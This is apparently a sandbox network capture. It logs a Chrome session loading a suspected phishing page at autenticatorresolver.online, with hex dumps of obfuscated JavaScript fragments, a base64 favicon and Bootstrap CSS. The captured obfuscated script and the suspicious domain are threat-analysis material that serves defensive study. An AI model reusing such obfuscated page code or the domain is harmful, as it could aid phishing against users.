2024-12-10 14:09:14 UTC	16384	IN	Data Raw: 64 73 71 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 37 65 34 35 33 66 2c 5f 30 78 36 63 62 65 36 33 29 7b 72 65 74 75 72 6e 20 5f 30 78 37 65 34 35 33 66 2b 5f 30 78 36 63 62 65 36 33 3b 7d 2c 27 71 6e 41 72 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 34 64 33 64 66 2c 5f 30 78 31 64 61 37 32 30 29 7b 72 65 74 75 72 6e 20 5f 30 78 34 34 64 33 64 66 28 5f 30 78 31 64 61 37 32 30 29 3b 7d 2c 27 41 58 7a 57 49 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 35 66 62 39 62 2c 5f 30 78 32 30 64 66 66 61 29 7b 72 65 74 75 72 6e 20 5f 30 78 31 35 66 62 39 62 28 5f 30 78 32 30 64 66 66 61 29 3b 7d 2c 27 6b 66 64 63 69 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 64 31 39 66 63 2c 5f 30 78 32 64 62 30 62 38 29 7b 72 65 74 75 72 6e 20 5f 30 78 34 64 31 39 66 63 Data Ascii: dsqn':function(_0x7e453f,_0x6cbe63){return _0x7e453f+_0x6cbe63;},'qnArM':function(_0x44d3df,_0x1da720){return _0x44d3df(_0x1da720);},'AXzWI':function(_0x15fb9b,_0x20dffa){return _0x15fb9b(_0x20dffa);},'kfdci':function(_0x4d19fc,_0x2db0b8){return _0x4d19fc
2024-12-10 14:09:14 UTC	468	IN	Data Raw: 78 33 37 66 30 31 36 28 30 78 34 32 36 29 5d 28 5f 30 78 34 65 63 37 30 64 5b 5f 30 78 33 37 66 30 31 36 28 30 78 34 33 63 29 5d 28 2d 28 30 78 32 31 61 34 2b 2d 30 78 31 36 65 64 2b 2d 30 78 31 31 63 2a 2d 30 78 36 29 2c 2d 28 30 78 31 36 61 32 2a 2d 30 78 31 2b 2d 30 78 31 2a 30 78 31 31 36 2b 30 78 31 2a 30 78 31 37 62 39 29 29 2c 2d 30 78 64 39 2a 2d 30 78 61 2b 2d 30 78 31 35 34 2a 30 78 31 2b 2d 30 78 36 31 62 29 2c 2d 28 2d 30 78 31 31 38 31 2b 2d 30 78 32 34 61 65 2b 30 78 34 37 62 66 29 29 29 2c 5f 30 78 33 36 34 36 35 31 5b 5f 30 78 34 65 63 37 30 64 5b 5f 30 78 33 37 66 30 31 36 28 30 78 35 30 61 29 5d 28 5f 30 78 33 32 39 36 65 64 2c 2d 30 78 31 2a 30 78 31 35 34 31 2b 30 78 32 2a 30 78 33 34 66 2b 30 78 31 30 30 37 29 5d 28 5f 30 78 35 32 64 Data Ascii: x37f016(0x426)](_0x4ec70d[_0x37f016(0x43c)](-(0x21a4+-0x16ed+-0x11c-0x6),-(0x16a2-0x1+-0x10x116+0x10x17b9)),-0xd9-0xa+-0x1540x1+-0x61b),-(-0x1181+-0x24ae+0x47bf))),_0x364651[_0x4ec70d[_0x37f016(0x50a)](_0x3296ed,-0x10x1541+0x20x34f+0x1007)](_0x52d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49752	104.21.64.1	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:15 UTC	665	OUT	GET /fl/ryzm5vdi HTTP/1.1 Host: autenticatorresolver.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:09:15 UTC	993	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:09:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=achj1rqaf6u3r8064nt8rj1e2t; path=/ expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ktMsDTzUj12OfzDzC7XSYYrEVH3mce9XiJY%2BAjljsBCeXLjbf5g3alYlEaW8%2Bk9OqfAIKRQtd1sIRvgSvSkddLlT85MvbussYiLVXgAz9d5g8ogpnODhlURzXEg0IMVmBcrWBRTtM3HgqV7v4Nc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efdcfc74bf142c0-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1797&min_rtt=1793&rtt_var=680&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2871&recv_bytes=1243&delivery_rate=1600000&cwnd=208&unsent_bytes=0&cid=d65be6f014a8a527&ts=684&x=0"
2024-12-10 14:09:15 UTC	376	IN	Data Raw: 36 61 33 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 0a 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 62 61 73 65 36 34 2c 41 41 41 42 41 41 59 41 67 49 41 51 41 41 41 41 41 41 42 6f 4b 41 41 41 5a 67 41 41 41 45 68 49 45 41 41 41 41 41 41 41 36 41 30 41 41 4d 34 6f 41 41 41 77 4d 42 41 41 41 41 41 41 41 47 67 47 41 41 43 32 4e 67 41 41 49 43 41 51 41 41 41 41 41 41 44 6f 41 67 41 41 48 6a 30 41 41 42 67 59 45 41 41 41 41 41 41 41 36 41 45 41 41 41 5a 41 41 41 41 51 45 42 41 41 41 41 41 41 41 43 Data Ascii: 6a34<!DOCTYPE html><html><head> <meta charset="utf-8" /> <link rel="shortcut icon" href="data:image/x-icon;base64,AAABAAYAgIAQAAAAAABoKAAAZgAAAEhIEAAAAAAA6A0AAM4oAAAwMBAAAAAAAGgGAAC2NgAAICAQAAAAAADoAgAAHj0AABgYEAAAAAAA6AEAAAZAAAAQEBAAAAAAAC
2024-12-10 14:09:15 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 67 41 41 41 44 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 41 41 41 41 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 79 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 41 41 41 41 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIgAAADMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIAAAAzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMyIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiAAAAMzMzMzMzMzMz
2024-12-10 14:09:15 UTC	1369	IN	Data Raw: 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 41 41 41 41 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 79 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 41 41 41 41 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 67 41 41 41 44 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d Data Ascii: MzMzMzMzMzMzMzMzMzMzMzMzIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIAAAAzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMyIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiAAAAMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIgAAADMzMzMzMzMzMzMzM
2024-12-10 14:09:15 UTC	1369	IN	Data Raw: 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 79 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 41 41 41 41 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 67 41 41 41 44 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 41 41 41 41 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a Data Ascii: zMzMzMzMzMzMzMzMzMzMyIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiAAAAMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIgAAADMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIAAAAzMzMzMzMzMzMzMzMzMz
2024-12-10 14:09:15 UTC	1369	IN	Data Raw: 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 67 41 41 41 44 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 41 41 41 41 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 79 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 41 41 41 41 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d Data Ascii: MzMzMzMzMzMzMzMzMiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIgAAADMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIAAAAzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMyIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiAAAAMzMzMzMzMzMzMzMzMzMzMzM
2024-12-10 14:09:15 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-10 14:09:15 UTC	1369	IN	Data Raw: 52 45 52 45 52 45 52 45 52 46 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 41 41 41 41 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 51 41 41 41 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 55 41 41 41 42 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 Data Ascii: RERERERERFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVAAAARERERERERERERERERERERERERERERERERERERERERVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVQAAAEREREREREREREREREREREREREREREREREREREREREVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUAAABERERERERERERERERERERERERERERER
2024-12-10 14:09:15 UTC	1369	IN	Data Raw: 45 52 45 52 45 52 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 51 41 41 41 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 55 41 41 41 42 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 46 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 41 41 41 41 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 Data Ascii: ERERERVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVQAAAEREREREREREREREREREREREREREREREREREREREREVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUAAABERERERERERERERERERERERERERERERERERERERERFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVAAAARERERERERERERERERERERERERERERERERE
2024-12-10 14:09:15 UTC	1369	IN	Data Raw: 52 45 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 55 41 41 41 42 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 46 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 41 41 41 41 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 51 41 41 41 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 Data Ascii: REVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUAAABERERERERERERERERERERERERERERERERERERERERFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVAAAARERERERERERERERERERERERERERERERERERERERERVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVQAAAERERERERERERERERERERERERERERERERERERER
2024-12-10 14:09:15 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 48 34 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 2b 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 66 67 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 48 34 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 2b 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 66 67 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 48 34 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 2b 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 66 67 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 48 34 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 2b 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 66 67 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAH4AAAAAAAAAAAAAAAAAAAB+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH4AAAAAAAAAAAAAAAAAAAB+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH4AAAAAAAAAAAAAAAAAAAB+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH4AAAAAAAAAAAAAAAAAAAB+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49758	151.101.65.229	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:17 UTC	629	OUT	GET /npm/bootstrap@5.0.2/dist/css/bootstrap.min.css HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://autenticatorresolver.online sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://autenticatorresolver.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:09:17 UTC	763	IN	HTTP/1.1 200 OK Connection: close Content-Length: 155845 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: text/css; charset=utf-8 X-JSD-Version: 5.0.2 X-JSD-Version-Type: version ETag: W/"260c5-fByeBXPlzqi603M74vxjqoxo6o0" Accept-Ranges: bytes Age: 1235798 Date: Tue, 10 Dec 2024 14:09:17 GMT X-Served-By: cache-fra-eddf8230097-FRA, cache-ewr-kewr1740024-EWR X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-12-10 14:09:17 UTC	1378	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 35 2e 30 2e 32 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 31 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 31 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 73 2d 62 6c 75 65 3a 23 30 64 36 65 66 64 3b 2d Data Ascii: @charset "UTF-8";/! Bootstrap v5.0.2 (https://getbootstrap.com/) * Copyright 2011-2021 The Bootstrap Authors * Copyright 2011-2021 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */:root{--bs-blue:#0d6efd;-
2024-12-10 14:09:17 UTC	1378	IN	Data Raw: 68 65 72 69 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 62 6f 72 64 65 72 3a 30 3b 6f 70 61 63 69 74 79 3a 2e 32 35 7d 68 72 3a 6e 6f 74 28 5b 73 69 7a 65 5d 29 7b 68 65 69 67 68 74 3a 31 70 78 7d 2e 68 31 2c 2e 68 32 2c 2e 68 33 2c 2e 68 34 2c 2e 68 35 2c 2e 68 36 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 2e 68 31 2c 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 63 61 6c 63 28 31 2e 33 37 35 72 65 6d 20 2b 20 31 2e 35 76 77 29 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 30 30 70 78 29 Data Ascii: herit;background-color:currentColor;border:0;opacity:.25}hr:not([size]){height:1px}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem;font-weight:500;line-height:1.2}.h1,h1{font-size:calc(1.375rem + 1.5vw)}@media (min-width:1200px)
2024-12-10 14:09:17 UTC	1378	IN	Data Raw: 5b 63 6c 61 73 73 5d 29 2c 61 3a 6e 6f 74 28 5b 68 72 65 66 5d 29 3a 6e 6f 74 28 5b 63 6c 61 73 73 5d 29 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 63 6f 64 65 2c 6b 62 64 2c 70 72 65 2c 73 61 6d 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 62 73 2d 66 6f 6e 74 2d 6d 6f 6e 6f 73 70 61 63 65 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 3b 75 6e 69 63 6f 64 65 2d 62 69 64 69 3a 62 69 64 69 2d 6f 76 65 72 72 69 64 65 7d 70 72 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 3b 66 6f 6e 74 Data Ascii: [class]),a:not([href]):not([class]):hover{color:inherit;text-decoration:none}code,kbd,pre,samp{font-family:var(--bs-font-monospace);font-size:1em;direction:ltr;unicode-bidi:bidi-override}pre{display:block;margin-top:0;margin-bottom:1rem;overflow:auto;font
2024-12-10 14:09:17 UTC	1378	IN	Data Raw: 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 2c 62 75 74 74 6f 6e 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 7b 70 61 64 64 69 6e 67 3a 30 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 74 65 78 74 61 72 65 61 7b 72 65 73 69 7a 65 3a 76 65 72 74 69 63 61 6c 7d 66 69 65 6c 64 73 65 74 7b 6d 69 6e 2d 77 69 64 74 68 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 62 6f 72 64 65 72 3a 30 7d 6c 65 67 65 6e 64 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 63 61 6c 63 28 31 2e 32 37 35 72 65 6d Data Ascii: not(:disabled),button:not(:disabled){cursor:pointer}::-moz-focus-inner{padding:0;border-style:none}textarea{resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{float:left;width:100%;padding:0;margin-bottom:.5rem;font-size:calc(1.275rem
